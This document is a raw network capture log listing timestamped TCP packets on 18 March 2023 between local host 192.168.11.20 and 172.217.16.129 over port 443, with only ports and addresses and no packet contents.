Mar 18, 2023 05:38:08.078701019 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.078748941 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.078876019 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.078912973 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.079066038 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.079205990 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.079363108 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.079410076 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.079543114 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.079611063 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.079674006 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.079715967 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.079866886 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.079915047 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.080066919 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.080172062 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.080324888 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.080377102 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.080545902 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.080579042 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.080645084 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.080702066 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.080866098 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.080909967 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.081065893 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.081162930 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.081324100 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.081373930 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.081474066 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.081541061 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.081584930 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.081629992 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.081722021 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.081737041 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.081779003 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.081899881 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.081955910 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.081991911 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.082098961 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.082216978 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.082263947 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.082304001 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.082338095 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.082417965 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.082556009 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.082807064 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.082966089 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.083013058 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.083185911 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.083225012 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.083275080 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.083390951 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.083446026 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.083482027 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.083637953 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.083986998 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.084203959 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.084209919 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.084254980 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.084348917 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.084350109 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.084404945 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.084583044 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.084614992 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.084661961 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.084768057 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.084863901 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.084889889 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.084913015 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.084942102 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.085050106 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.085051060 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.085102081 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.085258961 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.085472107 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.085628033 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.085669041 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.085851908 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.085897923 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.086008072 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.086102009 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.086168051 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.086236954 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.086292028 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.086334944 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.086374998 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.086545944 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.086699009 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.086879015 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.086925983 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.087038994 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.087085962 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.087146997 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.087255001 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.087263107 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.087311983 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.087351084 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.087416887 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.087543964 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.087587118 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.087740898 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.087779045 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.087940931 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.087968111 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.088013887 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.088196993 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.088221073 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.088243008 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.088376999 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.088376999 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.088423014 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.088582039 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.088624001 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.088754892 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.088869095 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.088875055 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.088913918 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.088953972 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.089052916 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.089077950 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.089098930 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.089262009 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.089309931 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.089461088 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.089540958 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.089586973 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.089622974 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.089714050 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.089739084 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.089780092 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.089900970 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.089926958 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.089946032 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.089984894 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.090076923 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.090153933 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.090229034 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.090269089 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.090323925 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.090374947 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.090423107 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.090456009 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.090536118 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.090589046 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.090651989 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.090688944 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.090787888 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.090862036 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.090877056 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.090897083 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.091048956 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.091089964 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.091197014 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.091322899 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.091324091 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.091367006 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.091411114 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.091491938 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.091531038 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.091650963 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.091716051 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.091756105 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.091803074 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.091902971 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.091936111 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.092067003 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.092067957 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.092113018 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.092147112 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.092365026 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.092366934 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.092415094 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.092519999 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.092602968 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.092623949 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.092645884 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.092782974 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.092782974 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.092842102 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.093010902 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.093106031 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.093151093 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.093188047 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.093281984 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.093323946 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.093353987 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.093435049 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.093465090 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.093499899 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.093616962 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.093643904 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.093662024 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.093832970 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.093878031 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.094114065 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.094149113 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.094299078 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.094331980 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.094355106 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.094489098 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.094490051 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.094537020 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.094676018 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.094768047 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.094806910 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.094846964 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.094955921 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.094955921 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.095000029 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.095029116 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.095048904 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.095146894 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.095146894 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.095201969 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.095232964 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.095444918 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.095478058 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.095519066 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.095598936 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.095679998 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.095681906 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.095717907 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.095866919 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.095909119 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.096146107 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.096158028 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.096184015 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.096343994 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.096453905 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.096472025 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.096503973 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.096645117 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.096645117 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.096716881 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.096863985 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.096905947 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.097059011 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.097254038 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.097296953 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.097342014 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.097450018 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.097484112 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.097512960 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.097553968 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.097582102 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.097671986 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.097764969 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.097826004 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.097857952 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.097923994 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.097995996 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.098006010 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.098038912 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.098176003 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.098213911 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.098351002 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.098365068 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.098400116 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.098579884 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.098599911 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.098617077 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.098639965 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.098716021 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.098850965 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.098887920 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.098994970 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.099029064 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.099152088 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.099239111 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.099277020 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.099319935 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.099385977 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.099499941 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.099514961 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.099561930 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.099605083 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.099675894 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.099693060 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.099833965 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.099853992 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.099893093 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.099929094 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.099984884 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.100033998 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.100066900 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.100106001 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.100256920 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.100258112 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.100277901 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.100348949 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.100433111 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.100536108 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.100575924 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.100684881 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.100723028 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.100759983 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.100862026 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.100909948 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.100939989 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.100963116 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.100982904 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.101056099 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.101177931 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.101203918 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.101243973 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.101330996 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.101387978 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.101397991 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.101434946 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.101541996 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.101583958 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.101594925 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.101615906 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.101720095 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.101720095 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.101747990 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.101772070 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.101893902 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.101926088 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.101950884 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.102044106 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.102061987 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.102214098 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.102232933 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.102255106 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.102274895 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.102358103 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.102407932 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.102407932 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.108097076 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.108253956 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.108259916 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.108299017 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.108474016 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.108488083 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.108505011 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.108618021 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.108618021 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.108653069 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.108673096 CET	443	49844	172.217.16.129	192.168.11.20
